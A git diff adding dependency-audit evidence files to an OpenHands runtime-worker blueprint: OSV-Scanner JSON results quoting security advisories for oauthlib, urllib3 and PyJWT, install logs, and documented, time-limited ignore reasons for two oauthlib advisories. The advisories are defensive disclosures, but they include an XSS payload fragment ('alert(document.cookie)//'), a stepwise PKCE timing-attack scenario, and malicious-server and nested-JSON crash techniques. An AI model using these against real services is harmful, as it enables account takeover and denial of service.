blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + }, + { + "package": { + "name": "urllib3", + "version": "2.7.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-8988-9cw3-xx77" + ], + "aliases": [ + "CVE-2026-97687", + "GHSA-8988-9cw3-xx77" + ], + "max_severity": "7.6" + }, + { + "ids": [ + "GHSA-gh4c-6fx4-qh6g" + ], + "aliases": [ + "CVE-2026-97688", + "GHSA-gh4c-6fx4-qh6g" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "GHSA-vxq7-64xx-v4gw" + ], + "aliases": [ + "CVE-2026-97689", + "GHSA-vxq7-64xx-v4gw" + ], + "max_severity": "8.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8988-9cw3-xx77/GHSA-8988-9cw3-xx77.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.26.0" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97687" + ], + "database_specific": { + "cwe_ids": [ + "CWE-295", + "CWE-440" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:04Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.", + "id": "GHSA-8988-9cw3-xx77", + "modified": "2026-09-30T15:00:05.369237042Z", + "published": "2026-09-30T14:46:04Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97687" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/pull/5093" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPS proxy TLS configuration may be ignored or overridden" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gh4c-6fx4-qh6g/GHSA-gh4c-6fx4-qh6g.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.6.2" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97688" + ], + "database_specific": { + "cwe_ids": [ + "CWE-835" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:00:38Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.", + "id": "GHSA-gh4c-6fx4-qh6g", + "modified": "2026-09-30T15:15:04.066660799Z", + "published": "2026-09-30T15:00:38Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97688" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: Chunked Deflate streaming can enter an infinite loop" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vxq7-64xx-v4gw/GHSA-vxq7-64xx-v4gw.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.10.3" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.10.3", + "1.10.4", + "1.11", + "1.12", + "1.13", + "1.13.1", + "1.14", + "1.15", + "1.15.1", + "1.16", + "1.17", + "1.18", + "1.18.1", + "1.19", + "1.19.1", + "1.20", + "1.21", + "1.21.1", + "1.22", + "1.23", + "1.24", + "1.24.1", + "1.24.2", + "1.24.3", + "1.25", + "1.25.1", + "1.25.10", + "1.25.11", + "1.25.2", + "1.25.3", + "1.25.4", + "1.25.5", + "1.25.6", + "1.25.7", + "1.25.8", + "1.25.9", + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97689" + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:18Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.", + "id": "GHSA-vxq7-64xx-v4gw", + "modified": "2026-09-30T15:00:05.904945330Z", + "published": "2026-09-30T14:46:18Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97689" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /baseline.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 22.966846ms elapsed, 22.966976ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt new file mode 100644 index 000000000..852ad3005 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt @@ -0,0 +1,15 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--only-binary", ":all:", "--index-url", "https://pypi.org/simple", "-r", "/blueprints/runtime-workers/openhands/build-requirements.lock"] +cwd: +started_utc: 2026-09-30T15:49:28.930668+00:00 +ended_utc: 2026-09-30T15:49:29.156416+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 3 packages in 69ms +Installed 3 packages in 60ms + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt new file mode 100644 index 000000000..89f6973b2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt @@ -0,0 +1,28 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T15:51:41.189852+00:00 +ended_utc: 2026-09-30T15:51:41.899349+00:00 +exit_code: 0 + +stdout: +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 23.801809ms elapsed, 23.802009ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json new file mode 100644 index 000000000..75ac3e1a7 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json @@ -0,0 +1,135 @@ +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected 